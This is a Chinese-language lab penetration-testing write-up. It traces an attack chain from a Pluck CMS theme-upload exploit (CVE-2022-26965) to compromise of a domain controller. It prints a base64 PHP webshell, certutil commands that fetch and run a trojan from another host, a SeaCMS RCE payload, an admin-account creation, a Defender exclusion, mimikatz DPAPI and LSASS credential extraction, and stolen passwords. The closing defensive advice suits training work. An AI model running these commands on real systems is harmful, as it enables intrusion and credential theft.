内网渗透实战：从外网信息收集到域控攻陷<\/h1>

概述<\/h2>
本文档详细分析一次完整的内网渗透过程，攻击者通过Pluck CMS漏洞获取初始立足点，逐步深入内网，最终攻陷域控服务器。整个过程涉及外网信息收集、漏洞利用、权限提升、横向移动和凭据窃取等关键技术。<\/p>

1. 外网信息收集<\/h2>

1.1 网络扫描<\/h3>

使用fscan工具对目标网络进行扫描，发现开放端口和服务：<\/p>

.\/fscan -h 10.0.0.34
<\/span><\/span><\/code><\/pre>扫描结果：<\/strong><\/p>

80端口：HTTP服务（存在302跳转）<\/li>
139\/445端口：SMB服务（Windows Server 2016 Datacenter）<\/li>
135端口：RPC服务<\/li>
3306端口：MySQL服务<\/li>
<\/ul>
1.2 Web服务识别<\/h3>
访问Web服务发现Pluck CMS系统：<\/p>

访问 http:\/\/10.0.0.34<\/code> 跳转到 http:\/\/10.0.0.34\/?file=cslab<\/code><\/li>
识别CMS版本：Pluck 4.7.16<\/li>
<\/ul>
2. Pluck CMS漏洞利用（CVE-2022-26965）<\/h2>
2.1 漏洞背景<\/h3>
Pluck CMS 4.7.16版本存在主题上传漏洞，攻击者可以通过上传恶意主题文件实现远程代码执行。<\/p>
2.2 攻击步骤<\/h3>
2.2.1 准备恶意主题<\/h4>

从GitHub下载合法主题：https:\/\/github.com\/billcreswell\/redline-theme<\/li>
修改info.php<\/code>文件，插入Webshell代码：<\/li>
<\/ol>
<?<\/span>php<\/span>
<\/span><\/span>file_put_contents<\/span>('shell.php'<\/span>, base64_decode<\/span>('PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs\/Pg=='<\/span>));
<\/span><\/span>?><\/span>
<\/span><\/span><\/span><\/code><\/pre>其中base64解码后为：<?php system($_GET[1]);?><\/code><\/p>
2.2.2 上传和执行<\/h4>

通过弱口令cslab<\/code>登录后台<\/li>
上传恶意主题压缩包<\/li>
访问生成的Webshell：http:\/\/10.0.0.34\/shell.php?1=命令<\/code><\/li>
<\/ol>
2.3 获取初始立足点<\/h3>
通过Webshell下载并执行远控木马：<\/p>
http:\/\/10.0.0.34\/shell.php?1=certutil.exe -urlcache -split -f http:\/\/172.16.233.2:80\/cslab8044.exe cslab8044.exe
<\/span><\/span><\/span>http:\/\/10.0.0.34\/shell.php?1=cslab8044.exe
<\/span><\/span><\/span><\/code><\/pre>3. 权限提升和持久化<\/h2>
3.1 提权操作<\/h3>
使用SweetPotato工具进行提权：<\/p>
SweetPotato.exe._obf.exe -a "net user sss 1qaz@2WSX \/add"<\/span>
<\/span><\/span>SweetPotato.exe._obf.exe -a "net localgroup administrators sss \/add"<\/span>
<\/span><\/span>SweetPotato.exe._obf.exe -a "REG ADD \"<\/span>HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\" \/v fDenyTSConnections \/t REG_DWORD \/d 0 \/f"<\/span>
<\/span><\/span><\/code><\/pre>3.2 防御规避<\/h3>
添加Windows Defender白名单：<\/p>
powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"<\/span>
<\/span><\/span><\/code><\/pre>3.3 远程桌面连接<\/h3>
使用获取的凭据进行RDP连接：<\/p>
xfreerdp3 \/v:10.0.0.34 \/u:sss \/p:'1qaz@2WSX'<\/span> \/cert:ignore
<\/span><\/span><\/code><\/pre>4. 内网信息收集<\/h2>
4.1 网络扫描<\/h3>
在已控主机上执行内网扫描：<\/p>
fscan.exe -h 10.5.8.43\/24
<\/span><\/span><\/code><\/pre>发现关键资产：<\/strong><\/p>

10.5.8.50：域控制器（Windows Server 2022）<\/li>
10.5.8.88：Web服务器（Windows Server 2016，运行SeaCMS）<\/li>
10.5.8.43：已控服务器<\/li>
<\/ul>
4.2 漏洞识别<\/h3>
发现SeaCMS存在已知漏洞：<\/p>

RCE漏洞（poc-yaml-seacms-v654-rce）<\/li>
SQL注入漏洞（poc-yaml-seacms-sqli）<\/li>
<\/ul>
5. 横向移动：SeaCMS RCE利用<\/h2>
5.1 漏洞利用POC<\/h3>
通过POST请求执行系统命令：<\/p>
POST<\/span> \/search.php HTTP<\/span>\/<\/span>1.1<\/span>
<\/span><\/span>Host:<\/span> 10.5.8.88<\/span>
<\/span><\/span>Content-Type:<\/span> application\/x-www-form-urlencoded<\/span>
<\/span><\/span>Content-Length:<\/span> 203<\/span>
<\/span><\/span>
<\/span><\/span>searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=({searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[x]))&x=system('命令');
<\/span><\/span><\/code><\/pre>5.2 获取第二台主机权限<\/h3>
下载并执行远控木马：<\/p>
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=({searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[x]))&x=system('certutil.exe -urlcache -split -f http:\/\/10.5.8.43:80\/cslab8044.exe cslab8044.exe');
<\/span><\/span><\/span>
<\/span><\/span><\/span>searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=({searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[x]))&x=system('cslab8044.exe');
<\/span><\/span><\/span><\/code><\/pre>6. 域环境渗透<\/h2>
6.1 获取本地管理员凭据<\/h3>
检查Windows自动登录配置：<\/p>
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"<\/span>
<\/span><\/span><\/code><\/pre>发现凭据：<\/strong><\/p>

用户名：administrator<\/li>
密码：Sea@asd<\/li>
<\/ul>
6.2 开启RDP服务<\/h3>
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server"<\/span> \/v fDenyTSConnections \/t REG_DWORD \/d 0 \/f
<\/span><\/span><\/code><\/pre>6.3 连接第二台主机<\/h3>
proxychains -q xfreerdp3 \/v:10.5.8.88 \/u:administrator \/p:'Sea@asd'<\/span> \/cert:ignore
<\/span><\/span><\/code><\/pre>7. DPAPI凭据解密<\/h2>
7.1 查找凭据文件<\/h3>
在Administrator用户目录下查找保存的凭据：<\/p>
dir<\/span> \/a C:\Users\Administrator\AppData\Local\Microsoft\Credentials\*
<\/span><\/span><\/code><\/pre>发现凭据文件：811292CB3B95926F7EA2D46FEB2A7ADB<\/code><\/p>
7.2 使用Mimikatz分析凭据<\/h3>
获取凭据的GUID MasterKey：<\/p>
mimikatz.x64.exe "dpapi::cred \/in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\811292CB3B95926F7EA2D46FEB2A7ADB"<\/span> "exit"<\/span>
<\/span><\/span><\/code><\/pre>关键信息：<\/strong><\/p>

guidMasterKey: {2e550db8-ab33-407c-8a29-120d38c9d711}<\/code><\/li>
<\/ul>
7.3 获取MasterKey<\/h3>
通过LSASS进程获取MasterKey：<\/p>
mimikatz.x64.exe "privilege::debug"<\/span> "sekurlsa::dpapi"<\/span> "exit"<\/span>
<\/span><\/span><\/code><\/pre>获取的MasterKey：<\/strong>

24b089facc24b9f698931a52411c777ed146efe5f0248fd0d4b1844f1d441b9970ad86c006627e49b0e8c94179f0b4a8f509f9d8af5af3569faa21d9c56068a9<\/code><\/p>
7.4 解密凭据<\/h3>
使用MasterKey解密保存的凭据：<\/p>
mimikatz.x64.exe "dpapi::cred \/in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\811292CB3B95926F7EA2D46FEB2A7ADB \/masterkey:24b089facc24b9f698931a52411c777ed146efe5f0248fd0d4b1844f1d441b9970ad86c006627e49b0e8c94179f0b4a8f509f9d8af5af3569faa21d9c56068a9"<\/span> "exit"<\/span>
<\/span><\/span><\/code><\/pre>解密结果：<\/strong><\/p>

目标：TERMSRV\/10.5.8.50（域控制器）<\/li>
用户名：CSLAB\administrator<\/li>
密码：cs1ab@qs<\/li>
<\/ul>
8. 攻陷域控制器<\/h2>
8.1 连接域控<\/h3>
使用获取的域管理员凭据连接域控制器：<\/p>
proxychains -q xfreerdp3 \/v:10.5.8.50 \/u:administrator \/d:CSLAB \/p:'cs1ab@qs'<\/span> \/cert:ignore
<\/span><\/span><\/code><\/pre>技术总结<\/h2>
关键攻击链<\/h3>

外网突破<\/strong>：Pluck CMS主题上传漏洞（CVE-2022-26965）<\/li>
权限提升<\/strong>：SweetPotato提权工具<\/li>
横向移动<\/strong>：SeaCMS RCE漏洞<\/li>
凭据窃取<\/strong>：DPAPI凭据解密技术<\/li>
域控攻陷<\/strong>：使用窃取的域管理员凭据<\/li>
<\/ol>
防御建议<\/h3>

及时更新<\/strong>：保持CMS系统最新版本<\/li>
强密码策略<\/strong>：避免使用弱口令<\/li>
权限最小化<\/strong>：限制服务账户权限<\/li>
网络分段<\/strong>：实施严格的网络访问控制<\/li>
凭据保护<\/strong>：启用Credential Guard等防护措施<\/li>
监控检测<\/strong>：部署EDR解决方案监控异常行为<\/li>
<\/ol>
工具列表<\/h3>

fscan：内网扫描工具<\/li>
SweetPotato：Windows提权工具<\/li>
Mimikatz：凭据提取工具<\/li>
xfreerdp3：RDP客户端<\/li>
Proxychains：代理工具<\/li>
<\/ul>
本教学文档详细记录了从外网渗透到域控攻陷的完整过程，涵盖了现代内网渗透中的关键技术点，可作为渗透测试学习和防御建设的参考材料。<\/p>

内网渗透实战：从外网信息收集到域控攻陷<\/h1>

概述<\/h2> 本文档详细分析一次完整的内网渗透过程，攻击者通过Pluck CMS漏洞获取初始立足点，逐步深入内网，最终攻陷域控服务器。整个过程涉及外网信息收集、漏洞利用、权限提升、横向移动和凭据窃取等关键技术。<\/p>

1. 外网信息收集<\/h2>

2. Pluck CMS漏洞利用（CVE-2022-26965）<\/h2>

2.1 漏洞背景<\/h3> Pluck CMS 4.7.16版本存在主题上传漏洞，攻击者可以通过上传恶意主题文件实现远程代码执行。<\/p>

2.2 攻击步骤<\/h3>

3. 权限提升和持久化<\/h2>

4. 内网信息收集<\/h2>

5. 横向移动：SeaCMS RCE利用<\/h2>

6. 域环境渗透<\/h2>

7. DPAPI凭据解密<\/h2>

8. 攻陷域控制器<\/h2>

技术总结<\/h2>

概述<\/h2>
本文档详细分析一次完整的内网渗透过程，攻击者通过Pluck CMS漏洞获取初始立足点，逐步深入内网，最终攻陷域控服务器。整个过程涉及外网信息收集、漏洞利用、权限提升、横向移动和凭据窃取等关键技术。<\/p>

2.1 漏洞背景<\/h3>
Pluck CMS 4.7.16版本存在主题上传漏洞，攻击者可以通过上传恶意主题文件实现远程代码执行。<\/p>